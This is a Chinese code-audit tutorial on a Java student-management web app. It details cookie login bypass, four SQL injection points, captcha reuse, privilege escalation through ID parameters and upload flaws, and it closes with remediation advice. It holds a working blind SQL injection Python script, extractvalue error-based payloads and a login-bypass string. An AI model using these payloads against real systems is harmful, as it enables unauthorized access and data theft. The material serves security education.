java代码审计之StudentManager
字数 1232 2025-08-24 20:49:22

Java代码审计实战:StudentManager系统漏洞分析与利用

1. 系统概述

StudentManager是一个基于Java的学生管理系统,存在多处安全漏洞,包括:

  • Cookie绕过登录验证
  • SQL注入漏洞(4处)
  • 任意用户注册
  • 越权操作(修改其他用户信息)
  • 文件上传漏洞

2. 漏洞详细分析

2.1 Cookie绕过登录验证

漏洞位置:index.jsp页面

漏洞分析

  1. 系统遍历获取cookie,检查是否存在"name"键
  2. 如果存在,则调用findWithId()函数验证用户
  3. findWithId()函数直接拼接SQL语句查询用户
  4. 验证通过后根据用户类型跳转到不同页面

利用方法

GET /index.jsp HTTP/1.1
Host: localhost:8080
Cookie: name=123

2.2 SQL注入漏洞(共4处)

注入点1:findWithId()函数

位置:index.jsp调用的findWithId()函数

特点

  • 盲注类型
  • 需要绕过空格和逗号限制

利用脚本

import requests
import string

charset = ",@" + string.digits + string.ascii_letters + string.punctuation

def r(s):
    return s.replace(" ", "/**/").replace(",", "/**/")

sql = "database()"
result = ""

for i in range(1,100):
    for c in charset:
        cc = ord(c)
        cookie = f"name=123'/**/and/**/ascii(substring({sql}/**/from/**/{i}))={cc}#"
        headers = {"cookie": cookie}
        r = requests.get("http://localhost:8080/index.jsp", headers=headers, allow_redirects=False)
        if "one_page_student" in r.headers.get('Location', ''):
            result += c
            print(result)
            break

注入点2:登录处(check_login)

位置:login.jsp调用的check_login功能

利用方法

  • 万能密码:123'#
  • 报错注入:
    user=123'/**/and/**/extractvalue(1,concat(0x7e,(select/**/@@version),0x7e))#
    password=任意值
    

注入点3:个人信息修改处

位置:update_teacher功能

利用方法

uid=zzu'/**/and/**/extractvalue(1,concat(0x7e,(select/**/@@version),0x7e))#
name=zzu
sex=男
email=123@test.com
password=123456

注入点4:学生管理搜索处

位置:one_page_student功能

利用方法

key=1111'/**/and/**/extractvalue(1,concat(0x7e,(select/**/@@version),0x7e))#

2.3 任意用户注册

漏洞位置:注册功能(check_register)

漏洞分析

  1. 验证码存储在session中
  2. 未设置验证码失效时间
  3. 可重复使用同一验证码注册多个用户

利用方法

  1. 注册用户qwe,获取验证码
  2. 修改用户名(qwe1, qwe2等)重复提交

2.4 越权操作

修改其他用户头像

位置:文件上传功能

利用方法

  1. 登录用户A
  2. 上传头像时修改id参数为其他用户ID

修改其他用户信息

位置:update_teacher功能

利用方法

  1. 登录用户A
  2. 修改个人信息时修改uid参数为其他用户ID

2.5 文件上传漏洞

位置:头像上传功能

潜在利用

  1. 目录穿越:尝试使用../跳转目录
  2. 文件覆盖:通过修改id参数覆盖其他用户文件

3. 漏洞修复建议

  1. SQL注入防护

    • 使用预编译语句(PreparedStatement)
    • 实施参数化查询
    • 对输入进行严格过滤
  2. 认证与会话管理

    • 实现完整的登录验证机制
    • 不要仅依赖Cookie验证
    • 设置验证码有效期
  3. 权限控制

    • 实施严格的权限验证
    • 检查用户是否有权修改目标数据
  4. 文件上传安全

    • 限制上传文件类型
    • 对文件名进行严格过滤
    • 不要使用用户可控参数作为文件路径
  5. 日志与监控

    • 记录关键操作日志
    • 监控异常行为

4. 总结

StudentManager系统存在典型的安全问题:

  1. 前端验证不可靠
  2. 缺乏服务端验证
  3. SQL语句拼接风险
  4. 权限控制缺失
  5. 会话管理不完善

通过本案例可以学习到Java Web应用常见的安全漏洞及利用方法,对提高代码审计能力有很大帮助。

Java代码审计实战:StudentManager系统漏洞分析与利用 1. 系统概述 StudentManager是一个基于Java的学生管理系统,存在多处安全漏洞,包括: Cookie绕过登录验证 SQL注入漏洞(4处) 任意用户注册 越权操作(修改其他用户信息) 文件上传漏洞 2. 漏洞详细分析 2.1 Cookie绕过登录验证 漏洞位置 :index.jsp页面 漏洞分析 : 系统遍历获取cookie,检查是否存在"name"键 如果存在,则调用 findWithId() 函数验证用户 findWithId() 函数直接拼接SQL语句查询用户 验证通过后根据用户类型跳转到不同页面 利用方法 : 2.2 SQL注入漏洞(共4处) 注入点1:findWithId()函数 位置 :index.jsp调用的findWithId()函数 特点 : 盲注类型 需要绕过空格和逗号限制 利用脚本 : 注入点2:登录处(check_ login) 位置 :login.jsp调用的check_ login功能 利用方法 : 万能密码: 123'# 报错注入: 注入点3:个人信息修改处 位置 :update_ teacher功能 利用方法 : 注入点4:学生管理搜索处 位置 :one_ page_ student功能 利用方法 : 2.3 任意用户注册 漏洞位置 :注册功能(check_ register) 漏洞分析 : 验证码存储在session中 未设置验证码失效时间 可重复使用同一验证码注册多个用户 利用方法 : 注册用户qwe,获取验证码 修改用户名(qwe1, qwe2等)重复提交 2.4 越权操作 修改其他用户头像 位置 :文件上传功能 利用方法 : 登录用户A 上传头像时修改id参数为其他用户ID 修改其他用户信息 位置 :update_ teacher功能 利用方法 : 登录用户A 修改个人信息时修改uid参数为其他用户ID 2.5 文件上传漏洞 位置 :头像上传功能 潜在利用 : 目录穿越:尝试使用 ../ 跳转目录 文件覆盖:通过修改id参数覆盖其他用户文件 3. 漏洞修复建议 SQL注入防护 : 使用预编译语句(PreparedStatement) 实施参数化查询 对输入进行严格过滤 认证与会话管理 : 实现完整的登录验证机制 不要仅依赖Cookie验证 设置验证码有效期 权限控制 : 实施严格的权限验证 检查用户是否有权修改目标数据 文件上传安全 : 限制上传文件类型 对文件名进行严格过滤 不要使用用户可控参数作为文件路径 日志与监控 : 记录关键操作日志 监控异常行为 4. 总结 StudentManager系统存在典型的安全问题: 前端验证不可靠 缺乏服务端验证 SQL语句拼接风险 权限控制缺失 会话管理不完善 通过本案例可以学习到Java Web应用常见的安全漏洞及利用方法,对提高代码审计能力有很大帮助。